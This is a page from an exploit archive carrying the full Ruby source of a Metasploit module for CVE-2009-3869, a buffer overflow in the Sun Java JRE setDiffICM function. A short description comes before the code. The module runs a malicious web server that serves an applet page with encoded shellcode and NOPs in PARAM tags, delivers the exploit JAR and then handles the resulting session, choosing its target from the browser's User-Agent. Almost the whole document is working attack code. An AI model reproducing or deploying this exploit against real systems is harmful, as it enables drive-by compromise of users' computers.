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Sun Java JRE AWT setDiffICM Buffer Overflow

Sun Java JRE AWT setDiffICM Buffer Overflow
Posted Dec 31, 2009
Authored by jduck | Site metasploit.com

This Metasploit module exploits a flaw in the setDiffICM function in the Sun JVM. The payload is serialized and passed to the applet via PARAM tags. It must be a native payload. The effected Java versions are JDK and JRE 6 Update 16 and earlier, JDK and JRE 5.0 Update 21 and earlier, SDK and JRE 1.4.2_23 and earlier, and SDK and JRE 1.3.1_26 and earlier. NOTE: Although all of the above versions are reportedly vulnerable, only 1.6.0_u11 and 1.6.0_u16 on Windows XP SP3 were tested.

tags | exploit, java
systems | windows
advisories | CVE-2009-3869
SHA-256 | 15c0e94e60ddaf304a0db8722ab90a4346f35a28d6a122802f19e8681d79283f

Sun Java JRE AWT setDiffICM Buffer Overflow

Change Mirror Download
##
# $Id: java_setdifficm_bof.rb 7903 2009-12-17 05:22:40Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Sun Java JRE AWT setDiffICM Buffer Overflow',
'Description' => %q{
This module exploits a flaw in the setDiffICM function in the Sun JVM.

The payload is serialized and passed to the applet via PARAM tags. It must be
a native payload.

The effected Java versions are JDK and JRE 6 Update 16 and earlier,
JDK and JRE 5.0 Update 21 and earlier, SDK and JRE 1.4.2_23 and
earlier, and SDK and JRE 1.3.1_26 and earlier.

NOTE: Although all of the above versions are reportedly vulnerable, only
1.6.0_u11 and 1.6.0_u16 on Windows XP SP3 were tested.
},
'License' => MSF_LICENSE,
'Author' =>
[
'jduck'
],
'Version' => '$Revision: 7903 $',
'References' =>
[
[ 'CVE', '2009-3869' ],
[ 'OSVDB', '59710' ],
[ 'BID', '36881' ],
[ 'URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-66-270474-1' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-078/' ],
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => '',
'DisableNops' => true,
},
'Targets' =>
[
=begin

No automatic targetting for now ...

[ 'J2SE 1.6_16 Automatic',
{
'Platform' => ['win', 'linux', 'osx'],
'Arch' => [ARCH_X86, ARCH_PPC]
}
],
=end
[ 'J2SE 1.6_16 on Windows x86',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
[ 'J2SE 1.6_16 on Mac OS X PPC',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
}
],
[ 'J2SE 1.6_16 on Mac OS X x86',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 04 2009'
))
end


def on_request_uri(cli, req)

# Create a cached mapping between IP and detected target
@targetcache ||= {}
@targetcache[cli.peerhost] ||= {}
@targetcache[cli.peerhost][:update] = Time.now.to_i

if (target.name =~ /Automatic/)
case req.headers['User-Agent']
when /Windows/i
print_status("Choosing a Windows target for #{cli.peerhost}:#{cli.peerport}...")
@targetcache[cli.peerhost][:target] = self.targets[1]
when /PPC Mac OS X/i
print_status("Choosing a Mac OS X PPC target for #{cli.peerhost}:#{cli.peerport}...")
@targetcache[cli.peerhost][:target] = self.targets[2]
when /Intel Mac OS X/i
print_status("Choosing a Mac OS X x86 target for #{cli.peerhost}:#{cli.peerport}...")
@targetcache[cli.peerhost][:target] = self.targets[3]
else
print_status("Unknown target for: #{req.headers['User-Agent']}")
end
end

# Clean the cache
rmq = []
@targetcache.each_key do |addr|
if (Time.now.to_i > @targetcache[addr][:update]+60)
rmq.push addr
end
end

rmq.each {|addr| @targetcache.delete(addr) }


# Request processing
if (not req.uri.match(/\.jar$/i))

# Redirect to the base directory so the applet code loads...
if (not req.uri.match(/\/$/))
print_status("Sending redirect so path ends with / ...")
send_redirect(cli, get_resource() + '/', '')
return
end

# Display the applet loading HTML
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, generate_html(payload.encoded),
{
'Content-Type' => 'text/html',
'Pragma' => 'no-cache'
})
return
end

# Send the actual applet over
print_status("Sending applet to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, generate_applet(cli, req),
{
'Content-Type' => 'application/octet-stream',
'Pragma' => 'no-cache'
})

# Handle the payload
handler(cli)
end


def generate_html(pl)

html = %Q|<html>
<head>
<!-- <meta http-equiv=refresh content=10 /> -->
</head>
<body>
<applet width='100%' height='100%' code='AppletX' archive='CVE-2009-3869.jar'>
<param name='sc' value='SCODE' />
<param name='np' value='NOPS' />
</applet>
</body>
</html>
|
# ugh.. pain
debug_payload = false
pload = ""
pload << "\xcc" if debug_payload
pload << pl
if ((pload.length % 4) > 0)
pload << rand_text((4 - (pload.length % 4)))
end
if debug_payload
print_status("pload #{pload.length} bytes:\n" + Rex::Text.to_hex_dump(pload))
end
html.gsub!(/SCODE/, Rex::Text.to_hex(pload, ''))

nops = "\x90\x90\x90\x90"
html.gsub!(/NOPS/, Rex::Text.to_hex(nops, ''))
#print_status("nops #{nops.length} bytes:\n" + Rex::Text.to_hex_dump(nops))

return html

end


def generate_applet(cli, req)

this_target = nil
if (target.name =~ /Automatic/)
if (@targetcache[cli.peerhost][:target])
this_target = @targetcache[cli.peerhost][:target]
else
return ''
end
else
this_target = target
end

path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2009-3869.jar")

fd = File.open(path, "rb")
data = fd.read(fd.stat.size)
fd.close

return data
end

end
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